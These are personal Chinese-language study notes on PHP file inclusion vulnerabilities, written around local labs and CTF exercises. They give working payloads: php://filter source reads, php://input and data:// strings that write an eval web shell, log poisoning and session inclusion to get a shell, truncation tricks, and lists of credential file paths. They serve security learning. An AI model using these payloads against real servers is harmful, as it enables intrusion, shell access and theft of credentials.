文件包含漏洞學習
沖沖沖,好好學習 2020.1.30 認真對待自己做出的每一個決定
知識與實踐
Q:什么是文件包含?
A:簡單一句話,為了更好地使用代碼的重用性,引入了文件包含函數,可以通過文件包含函數將文件包含進來,
直接使用包含文件的代碼。
Q:文件包含漏洞的成因是什么?
A:在包含文件時候,為了靈活包含文件,將被包含文件設置為變量,通過動態變量來引入需要包含的文件時,
用戶可以對變量的值可控而服務器端未對變量值進行合理地校驗或者校驗被繞過,這樣就導致了文件包含漏洞。通常文件包含漏洞出現在PHP語言中。
文件包含函數:(讀取文件和執行)
include:
include_once:遇到重復我文件,只包含一次
require:
require_once: 遇到重復我文件,只包含一次
highlight_file、show_source、readfile、file_get_contents、fopen、file (讀取文件)
include和require區別主要是,include在包含的過程中如果出現錯誤,會拋出一個警告,程序繼續正常運行;而require函數出現錯誤的時候,會直接報錯並退出程序的執行。
而include_once(),require_once()這兩個函數,與前兩個的不同之處在於這兩個函數只包含一次,適用於在腳本執行期間同一個文件有可能被包括超過一次的情況下,你想確保它只被包括一次以避免函數重定義,變量重新賦值等問題。
文件包含漏洞分類
- 本地文件包含
- 遠程文件包含
兩個配置文件
allow_url_fopen:為ON時,能讀取遠程文件,例如file_get_contents()就能讀遠程文件
allow_url_include:為ON時,就可使用include和require等方式包含遠程文件
常見的敏感信息路徑
Windows系統
c:\boot.ini #查看系統版本
c:\windows\system32\inetsrv\MetaBase.xml # IIS配置文件
c:\windows\repair\sam # 存儲Windows系統初次安裝的密碼
c:\ProgramFiles\mysql\my.ini # MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD # MySQL root密碼
c:\windows\php.ini # php 配置信息
Linux/Unix系統
/etc/passwd # 賬戶信息
/etc/shadow # 賬戶密碼文件
/usr/local/app/apache2/conf/httpd.conf # Apache2默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf # 虛擬網站配置
/usr/local/app/php5/lib/php.ini # PHP相關配置
/etc/httpd/conf/httpd.conf # Apache配置文件
/etc/my.conf # mysql 配置文件
文件包含漏洞的利用方式---偽協議
php:// 輸入輸出流
PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標准輸入輸出和錯誤描述符, 內存中、磁盤備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器。
php://filter(本地磁盤文件進行讀取)
元封裝器,設計用於”數據流打開”時的”篩選過濾”應用,對本地磁盤文件進行讀寫。
用法如下:
?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
一樣。
條件:只是讀取,需要開啟 allow_url_fopen,不需要開啟 allow_url_include;
測試代碼:
<?php
$filename = $_GET['filename'];
include($filename);?>
第一個參數:resource=<要過濾的數據流> 其實可以理解成文件名。
Example #2 php://filter/resource=<待過濾的數據流>
這個參數必須位於 php://filter 的末尾,並且指向需要過濾篩選的數據流。
Example #3 php://filter/read=<讀鏈需要應用的過濾器列表>
這個參數采用一個或以管道符 | 分隔的多個過濾器名稱。
Example #4 php://filter/write=<寫鏈需要應用的過濾器列表>
這個參數采用一個或以管道符 | 分隔的多個過濾器名稱。
Example #5 php://memory 和 php://temp 是一次性的
php://memory 和 php://temp 是一次性的,比如:stream 流關閉后,就無法再次得到以前的內容了。
應用題:?file=php://filter/read=convert.base64-encode/resource=flag.php
這是CTF里的一道題,先看看源碼是什么,發現個 鏈接到另一個文件 ?file=flag.php ,這時候不如把兩個PHP文件的源碼讀出來看,
?file=php://filter/read=convert.base64-encode/resource=.....
把resource=后面的 用base64編碼讀出來
再用bp解碼
成功得 flag 。
php://input
可以訪問請求的原始數據的只讀流。即可以直接讀取到POST上沒有經過解析的原始數據。 enctype=”multipart/form-data” 的時候 php://input 是無效的。
用法:?file=php://input 數據利用POST傳過去
php://input (讀取POST數據)
碰到file_get_contents()
就要想到用php://input
繞過,因為php偽 也是可以利用http協議的,即可以使用POST方式傳數據,具體函數意義下一項;
通過input獲取webs hell
寫入一句話木馬<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
再上菜刀搞定。
用 fputs()函數寫入,下面兩個函數具體用法可以去查查。
php://input(寫入木馬)
測試代碼:
條件:php配置文件中需同時開啟 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代碼執行,在這可以理解成遠程文件包含漏洞(RFI),即POST過去PHP代碼,即可執行。
如果POST的數據是執行寫入一句話木馬的PHP代碼,就會在當前目錄下寫入一個木馬。
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
php://output
php://output 是一個只寫的數據流, 允許你以 print 和 echo 一樣的方式 寫入到輸出緩沖區。
php://fd
php://fd 允許直接訪問指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。
php://zip
使用要指定絕對路徑。
偽協議的 data://
利用方式一般有兩種(注意一些小細節:區分符號)
下面以打開phpinfo為例。注意,下面黃色的斜杠//是可以省略的,因為在語法上都是對的。
- 直接寫入代碼:
格式:data://text/plain,
例:http://127.0.0.1:10004/php/php_data.php?file=data://text/plain,<?php phpinfo(); ?>
- 使用base64編碼:
格式:data://text/plain;base64,編碼后的php代碼
例:(前面的內容省略)?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
有一點要注意的問題,base64編碼后的加號和等號要手動的url編碼,否則無法識別。
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[hacker])?>');?>
思路就是:用fputs()函數寫入一句話木馬(shell.php) ——> URL訪問該木馬文件看有無返回404,無,則應該上傳成功 ——> 上菜刀
文件包含漏洞的利用方式---其他
- 00截斷:系統在讀取遇到 00 就會認為這是結束標志而停止讀取,有 %00截斷和0x00截斷。
- 長度截斷( windows最大讀取長度是256; linux 最大讀取長度4096 )
- 包含日志文件:有些文件會保存在日志里,如 URL,時間,... ,假如在URL里面加入一句話木馬,就可利用日志搞事情了。
- 包含session:
細講:
session文件包含漏洞
利用條件:
session的存儲位置可以獲取。
-
通過phpinfo的信息可以獲取到session的存儲位置。
通過phpinfo的信息,獲取到session.save_path為/var/lib/php/session:
-
通過猜測默認的session存放位置進行嘗試。
如linux下默認存儲在/var/lib/php/session目錄下:
session中的內容可以被控制,傳入惡意代碼。
示例:
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
漏洞分析
此php會將獲取到的GET型ctfs變量的值存入到session中。
當訪問http://www.ctfs-wiki/session.php?ctfs=ctfs 后,會在/var/lib/php/session目錄下存儲session的值。
session的文件名為sess_+sessionid,sessionid可以通過開發者模式獲取。
所以session的文件名為sess_akp79gfiedh13ho11i6f3sm6s6。
到服務器的/var/lib/php/session目錄下查看果然存在此文件,內容為:
username|s:4:"ctfs";
[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6
username|s:4:"ctfs"
漏洞利用
通過上面的分析,可以知道ctfs傳入的值會存儲到session文件中,如果存在本地文件包含漏洞,就可以通過ctfs寫入惡意代碼到session文件中,然后通過文件包含漏洞執行此惡意代碼getshell。
當訪問http://www.ctfs-wiki/session.php?ctfs=后,會在/var/lib/php/session目錄下存儲session的值。
[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a
username|s:18:"";
攻擊者通過phpinfo()信息泄露或者猜測能獲取到session存放的位置,文件名稱通過開發者模式可獲取到,然后通過文件包含的漏洞解析惡意代碼getshell。
在LFI-3出現了個PHP函數:file_get_contents() 函數
定義和用法:
file_get_contents() 把整個文件讀入一個字符串中。它只是讀取文件,而不執行。
該函數是用於把文件的內容讀入到一個字符串中的首選方法。如果服務器操作系統支持,還會使用內存映射技術來增強性能。
語法:file_get_contents(path,include_path,context,start,max_length)
參數 描述
path 必需。規定要讀取的文件。
include_path 可選。如果您還想在 include_path(在 php.ini 中)中搜索文件的話,請設置該參數為 '1'。
context 可選。規定文件句柄的環境。context 是一套可以修改流的行為的選項。若使用 NULL,則忽略。
start 可選。規定在文件中開始讀取的位置。該參數是 PHP 5.1 中新增的。
max_length 可選。規定讀取的字節數。該參數是 PHP 5.1 中新增的。
介紹個函數:addslashes() 就像是在SQL注入里的把 union 和select 替換成空一樣的解決思路, 在中間再插入 ununionion
定義和用法
addslashes() 函數返回在預定義的字符前添加 \ (反斜杠)的字符串。
預定義字符是:
單引號(')
雙引號(")
反斜杠(\)
NULL
提示:該函數可用於為存儲在數據庫中的字符串以及數據庫查詢語句准備合適的字符串。
注釋:默認情況下,PHP 指令 magic_quotes_gpc 為 on,對所有的 GET、POST 和 COOKIE 數據自動運行 addslashes()。不要對已經被 magic_quotes_gpc 轉義過的字符串使用 addslashes(),因為這樣會導致雙層轉義。遇到這種情況時可以使用函數 get_magic_quotes_gpc() 進行檢測。
語法:addslashes(string)
參數:string (必須的參數)
PHP版本4+使用 。
返回值:返回已轉義的字符串。
下面開始直接跳到實戰環節
第一類是 GET方式的:
Include($_GET[‘hacker’]);
第二類是 POST方式的:
Include($_POST[‘hacker’]);
火狐瀏覽器的HackBar的地址欄只能使出get類型的參數:
注意,URL最后一定要以斜杠結尾 / ,上圖的URL就不對了,應該是
GET類型的參數是直接出現在URL里面的,而POST類型的參數就要在這里用了:
POST 類型,不能直接上菜刀,要先寫入一句話木馬,再文件包含。
第二種利用方式:利用文件包含日志獲取shell
要知道,這都是默認的路徑,是在很理想的環境下才能遇到的。在陌生環境是很難猜到日志文件的路徑的,而且遇上有較強安全意識的管理員就更難了。
先介紹日志默路徑:
(1)Apache+linux 日志默認路徑
/etc/http/logs/access_log
or
/var/log/http/access_log
(2)Apache+win2003日志默路徑
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3)IIS6.0+2003默認日志文件
C:\WINDOWS\system32\Logfiles
(4)IIS7.0+win2003 默認日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5)nginx日志文件
日志文件在用戶安裝logs目錄下
例如:/usr/local/nginx
那對應的日志目錄就在/usr/local/nginx/logs 里
例子:現在本機的phpstudy的apache的日志文件目錄如下:
C:\phpStudy\PHPTutorial\Apache\logs\error.log
要獲取webshell的話,就必須要有一句話木馬之類的,所以要先把一句話木馬寫進日志文件里。
Attention:當我們進入了日志文件之后,執行了這個
URL:http://127.0.0.1:10003/LFI-1/?page=C:\phpStudy\PHPTutorial\Apache\logs\error.log
之后,當前位置就在日志文件里了,再
再次訪問日志文件:
就會看到,phpinfo.php已經別寫進去了日志文件里,但是發現它並沒有執行,PHPinfo的頁面也沒有顯示出來,因為寫進去的代碼被瀏覽器進過了 默認的URL編碼。那要怎么解決呢,想要達到的目的是,把不經過編碼直接寫代碼進去---用bp改包。 因為bp能繞過瀏覽器的URL默認編碼。
首先訪問日志,再把URL改一下,改一下(如上圖),然后開啟bp抓包,再用改完后的URL刷新網頁,
抓到這個包,把phpinfo代碼加進去,然后send ,完成。沒經過URL編碼的代碼就寫進日志文件里了。
關閉抓包代理,再次訪問日志文件:
看到,phpinfo()代碼執行了就顯示出來了。
同理的,phpinfo能寫進去執行,那一句話木馬也應該能寫進去的吧,來試一下:
把一句話木馬寫進了日志文件,再拿訪問日志文件的URL,丄菜刀。
成功。整個的思路就是這樣子.
當 php5.3(應該是5.3)之后的版本,%00 截斷就用不了了。那我們可以用另一個方法來替代 %00截斷——win/Linux 的特性。
上圖:
這里后面會加 .html 導致無法正常執行輸入的代碼,那就利用win/Linux的讀取長度限制,include輸入的是文件名,系統讀取文件名有長度限制,win下最大長度 256 ,Linux則是4096 ,且win下的文件名是不能使用這些字符的,或者使用點號 . (文件名后綴后面的點號會被自動過濾掉),但是他們也是占着長度的。那就可以在輸入page=文件名 在后面不上幾百個 點號 . 或者 ./ 也行 然后 后面的 .html 就會超過長度被丟棄掉而不起作用了。
在Linux里就用 點號 . 長度超過4096 就行。
完結。2020.2.13 Bitores